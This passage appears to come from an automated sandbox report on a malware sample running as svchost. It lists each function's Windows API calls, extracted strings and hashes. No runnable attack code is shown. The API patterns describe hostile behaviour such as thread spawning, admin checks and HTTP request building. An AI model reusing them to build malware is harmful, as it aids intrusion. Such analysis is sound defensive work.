                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ParentTextWindowmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4175915554-0
                                                                                                                                                                                                            • Opcode ID: b74dd45d2e0e6feeb0b3e40701464a5f39917aee69e9e432651cfb3d86be10e1
                                                                                                                                                                                                            • Instruction ID: 1c6e0f74244909d4871718247bf6364bebca429c8ae02ae73b286adc8dbb48c1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b74dd45d2e0e6feeb0b3e40701464a5f39917aee69e9e432651cfb3d86be10e1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DA01D673F402146BDB10AE69ACC8EE7F39CAB54554F048376ED0CE3141EAB1DA5586E0
                                                                                                                                                                                                            Function 02C87A10 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,?), ref: 02C87A23
                                                                                                                                                                                                              • Part of subcall function 02C82CE0: GetProcessHeap.KERNEL32(00000008,02C7FB17,02C7FB03,?,02C87515,?,?,?), ref: 02C82CF1
                                                                                                                                                                                                              • Part of subcall function 02C82CE0: RtlAllocateHeap.NTDLL(00000000,?,?,?), ref: 02C82CF8
                                                                                                                                                                                                              • Part of subcall function 02C82CE0: memset.MSVCRT ref: 02C82D08
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?,?,?,?,?,02C7E885,?), ref: 02C87A3E
                                                                                                                                                                                                              • Part of subcall function 02C8CBC0: memset.MSVCRT ref: 02C8CBE1
                                                                                                                                                                                                              • Part of subcall function 02C8CBC0: StrStrIA.SHLWAPI(00000000,<L>,?,00000000,?), ref: 02C8CC19
                                                                                                                                                                                                              • Part of subcall function 02C8CBC0: PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8CC4D
                                                                                                                                                                                                              • Part of subcall function 02C8CBC0: PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8CC83
                                                                                                                                                                                                              • Part of subcall function 02C8CBC0: PathFileExistsA.SHLWAPI(00000000,82C3184B), ref: 02C8CCC9
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: strstr.MSVCRT ref: 02C92B23
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: strstr.MSVCRT ref: 02C92B36
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: strstr.MSVCRT ref: 02C92B49
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92B77
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: PathAddBackslashA.SHLWAPI(02CCAFC0), ref: 02C92BAD
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: CreateDirectoryA.KERNEL32(?,00000000,02CCAFC0), ref: 02C92BC2
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: GetLastError.KERNEL32 ref: 02C92BCC
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: IsUserAnAdmin.SHELL32 ref: 02C92BD4
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92BE5
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: SetLastError.KERNEL32(00000000), ref: 02C92BEC
                                                                                                                                                                                                              • Part of subcall function 02C92AE0: SetCurrentDirectoryA.KERNEL32(?), ref: 02C92BF9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$Backslash$strstr$DirectoryErrorHeapLastmemset$AdminAllocateCreateCurrentExistsFileFolderMakeProcessReadSystemUsermemcpy
                                                                                                                                                                                                            • String ID: GET $POST
                                                                                                                                                                                                            • API String ID: 166286580-2494278042
                                                                                                                                                                                                            • Opcode ID: b333c78d3a20b6ffcc49741ddd97b3878b23029b73683a5636a6cd11ab24f6df
                                                                                                                                                                                                            • Instruction ID: 454c8b4f1ef71aedd1db641b8b7ff59109e943cb5a645da23fe2aedae5e37bcd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b333c78d3a20b6ffcc49741ddd97b3878b23029b73683a5636a6cd11ab24f6df
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9EF0283688169136993175A49C84EFFE68D9E93B8CB20A11AE84462100FB39EB0495E6
                                                                                                                                                                                                            Function 02C74000 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000020,7622F380,-00000010,?,02C7429D,?), ref: 02C7400C
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02C7429D,?), ref: 02C74013
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C74052
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocProcess_snprintf
                                                                                                                                                                                                            • String ID: %d.%d.%d.%d
                                                                                                                                                                                                            • API String ID: 1060465051-3491811756
                                                                                                                                                                                                            • Opcode ID: 90f3bffe25918d38bde9a53b8fcd34ac64d1cc177bba7861125c9af0dd738d5d
                                                                                                                                                                                                            • Instruction ID: b501dc9029d853eb5de918cf6f5f699e1cdf3f06e2e433a3f3b2e217bf1b4a7d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 90f3bffe25918d38bde9a53b8fcd34ac64d1cc177bba7861125c9af0dd738d5d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 55F08CB1940760AFC371CF6A9804B66BBE8EF0C701F00892EF69AC7241E23496008BA4
                                                                                                                                                                                                            Function 02C891C0 Relevance: 6.0, APIs: 4, Instructions: 37synchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000,75AF7390,?,?,02C85BC4), ref: 02C891DA
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00019230,00000000,00000000,00000000), ref: 02C891F4
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,?,?,02C85BC4), ref: 02C8920C
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02C85BC4), ref: 02C8921D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandle$CloseInformationMutexThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3835061634-0
                                                                                                                                                                                                            • Opcode ID: 09be646a70fb30ee82f280bf00f80ed7ea9f50fea8c1221e81edf7dc80c5b21b
                                                                                                                                                                                                            • Instruction ID: 4e8631e050a50982036c6b7776b7dda47c50071a89984e1eb5ade44873145600
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 09be646a70fb30ee82f280bf00f80ed7ea9f50fea8c1221e81edf7dc80c5b21b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E8F0BB31EC1314B7E7119BA4FC0AB667A9CEB05F14F184695F901E72C0D7B095108796
                                                                                                                                                                                                            Function 02C8A2A0 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • TerminateThread.KERNEL32(00000000,00000000,?,?,02C876BE,00000000,02C7FB03,82c3181f,?,?,?,?,?,?), ref: 02C8A2B0
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8A150,00000000,00000000,00000000), ref: 02C8A2C5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02C876BE,00000000,02C7FB03), ref: 02C8A2E3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02C876BE,00000000,02C7FB03), ref: 02C8A2F4
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1825730051-0
                                                                                                                                                                                                            • Opcode ID: e7951d6158d0f023cb3298f9ca6ecdf0ccdd31ecffba0421fa871bdc5e41cfdb
                                                                                                                                                                                                            • Instruction ID: 7759032f49a377ce48a3e10749932e5de361918053dd698e3838140c36dd71ea
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e7951d6158d0f023cb3298f9ca6ecdf0ccdd31ecffba0421fa871bdc5e41cfdb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 02F0B430EC0345BBE730EB65AC0AB5577ACAB0CB09F208686F909E31C0DBB096108A65
                                                                                                                                                                                                            Function 02C8E830 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • TerminateThread.KERNEL32(00000000,00000000,?,?,02C8790E,00000000,02C7FB03,82c319a5,?,?,?,?,?,?), ref: 02C8E840
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8E6E0,00000000,00000000,00000000), ref: 02C8E855
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02C8790E,00000000,02C7FB03), ref: 02C8E873
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02C8790E,00000000,02C7FB03), ref: 02C8E884
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1825730051-0
                                                                                                                                                                                                            • Opcode ID: 8ca719e807d88b0a1ccc0abb404333eca5f52df640138c7b2b3827763e3e069d
                                                                                                                                                                                                            • Instruction ID: d615bfe10b210424d3e604edf11a4273885034ed02a1762a4227eef9c07d4bed
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8ca719e807d88b0a1ccc0abb404333eca5f52df640138c7b2b3827763e3e069d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4EF0B430EC0314BBE7209B68AC0AB5D779CEF04749F244694FD05E31C0DBB0D6108A64
                                                                                                                                                                                                            Function 02C8D930 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • TerminateThread.KERNEL32(00000000,00000000,?,?,02C8785E,00000000,02C7FB03,82c31923,?,?,?,?,?,?), ref: 02C8D940
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8D7E0,00000000,00000000,00000000), ref: 02C8D955
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02C8785E,00000000,02C7FB03), ref: 02C8D973
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02C8785E,00000000,02C7FB03), ref: 02C8D984
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1825730051-0
                                                                                                                                                                                                            • Opcode ID: d5bc30f6507bf9191a570039fe9a7bc5770d9045f46682a713c508e82709490d
                                                                                                                                                                                                            • Instruction ID: 2f326863c8cd02590b19e2f8b904345b89ea7561fb1a108660138517cc8e40b9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d5bc30f6507bf9191a570039fe9a7bc5770d9045f46682a713c508e82709490d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FEF0B470EC0304B7E7209B75AD0AF55B69C9B04B59F144694F90AE31C4DBB09610CB64
                                                                                                                                                                                                            Function 02C8E250 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: private$public
                                                                                                                                                                                                            • API String ID: 0-4176808989
                                                                                                                                                                                                            • Opcode ID: 95edc4579f270cfbb72ce7a2e89be70b5a00897b7fb9d6ab8d0e8bae2bfc8fae
                                                                                                                                                                                                            • Instruction ID: ec1e89868abdafde7671aa854f668a39e363cdb733b1ccd60b70895c1776268f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 95edc4579f270cfbb72ce7a2e89be70b5a00897b7fb9d6ab8d0e8bae2bfc8fae
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FB415B326041158ACB30BB2CC8557BB7366EFC532CB49C695F84ACB6A4F721EE45C780
                                                                                                                                                                                                            Function 02C74070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CountTick_snprintf
                                                                                                                                                                                                            • String ID: %dd %dh %dm
                                                                                                                                                                                                            • API String ID: 3495410349-3074259717
                                                                                                                                                                                                            • Opcode ID: 0640c349b482966ac159f99e89a9e93f9b7a32822f268aa3d3c49e345b37afc3
                                                                                                                                                                                                            • Instruction ID: 40d2b3104a05a57f35212cc7c0754e7d4fd353f4d78f6662d977a8fa07f0f0fe
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0640c349b482966ac159f99e89a9e93f9b7a32822f268aa3d3c49e345b37afc3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 02F08262B8105457A35C541D6C1AABA594F87C8311B8DC67DFD0ACF3E9DCB49C514290
                                                                                                                                                                                                            Function 02C7A820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A834
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7A850
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MutexObjectReleaseSingleWait
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 2017088797-3387790918
                                                                                                                                                                                                            • Opcode ID: 481158786ac46d56176740526b23a3a8955e17810fc96629d63a91feb70789d4
                                                                                                                                                                                                            • Instruction ID: 957f9616aee886f5acf473ca777cac56d7ab32bc140f39379ed3d1ad4d576afd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 481158786ac46d56176740526b23a3a8955e17810fc96629d63a91feb70789d4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 50E01275D846489FC706DF58F448B197BA8B758321F008B56F868873A1C774A960CB50
                                                                                                                                                                                                            Function 02C7DA00 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000014,00000000,?,?,?,02C7DE7B,00000000,?,?,00000000,Content-Type,?,?,00000000,Referer), ref: 02C7DA3F
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02C7DE7B,00000000,?,?,00000000,Content-Type,?,?,00000000,Referer,?), ref: 02C7DA46
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7DA56
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,00000000,00000000,00000000,00000014,?,02C7DE7B,00000000,?,?,00000000,Content-Type,?,?,00000000), ref: 02C7DA61
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocProcessmemcpymemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 471586229-0
                                                                                                                                                                                                            • Opcode ID: e92818099e0351410444197cd07c409c11ba63b2a236b4055ff852c97ff7d887
                                                                                                                                                                                                            • Instruction ID: 5eb95878f65c72346972bc3317d04c08cfa5de28d9cf7efa16dcff17412b4f01
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e92818099e0351410444197cd07c409c11ba63b2a236b4055ff852c97ff7d887
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9901F233A852156B86219A69AC44FE7B79CFFC5770F008251FD06DF184D721EA0483E0
                                                                                                                                                                                                            Function 02C7E290 Relevance: 5.0, APIs: 4, Instructions: 35memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,00000000,?,02C7E94B,?,?,?), ref: 02C7E2A8
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02C7E94B,?,?,?), ref: 02C7E2AF
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7E2BF
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?,?,02C7E94B,?,?,?), ref: 02C7E2CA
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocProcessmemcpymemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 471586229-0
                                                                                                                                                                                                            • Opcode ID: d8de82c6c68c7a200bdb47a3d304783443ba7fb4700a11398772ab85a75e0eb4
                                                                                                                                                                                                            • Instruction ID: b62f0556ec8815c3ad3f713ae6f7287db69877e0de0a2f1143eff459f65c52f3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d8de82c6c68c7a200bdb47a3d304783443ba7fb4700a11398772ab85a75e0eb4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D5F05533A0166137C6226A99AC44FCBB75CEFD2760F400260FE00EF280CA20DE0087F1
                                                                                                                                                                                                            Function 02C7D390 Relevance: 5.0, APIs: 4, Instructions: 35memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(?,?,7622F380,?,02C7D799,00000000,?,00000000,02C7EAE2), ref: 02C7D3A4
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7D3A7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7D3B4
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7D3B7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1670920773-0
                                                                                                                                                                                                            • Opcode ID: 121c50ac3785073cf1e822029238d3db2390aeb27431e563befb30a8878f4b53
                                                                                                                                                                                                            • Instruction ID: b848486a1f158c6433e21d6dcf7b06956120b6300da42dc684efe6e88b722ed3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 121c50ac3785073cf1e822029238d3db2390aeb27431e563befb30a8878f4b53
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E1F06D74E40362ABEB105F39AC48B977BECAF48686F940481E90ED3140E775C910AAA0
                                                                                                                                                                                                            Function 02CB1BF0 Relevance: 5.0, APIs: 4, Instructions: 24memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02CB1C05
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02CB1C08
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02CB1C15
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02CB1C18
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1670920773-0
                                                                                                                                                                                                            • Opcode ID: f4fb82d938ff516ed9fc9f7cc597840f4ed41ce2ee13c1e50acb16e997651bc0
                                                                                                                                                                                                            • Instruction ID: 9aba192d21fd338b10a677a2566ba91084e4345642c3fd3c61d2f9676863cdc5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f4fb82d938ff516ed9fc9f7cc597840f4ed41ce2ee13c1e50acb16e997651bc0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2BE08632FC526877C51226A66C0CF877B1CDFC1B72F094411F608D3141C660941096F0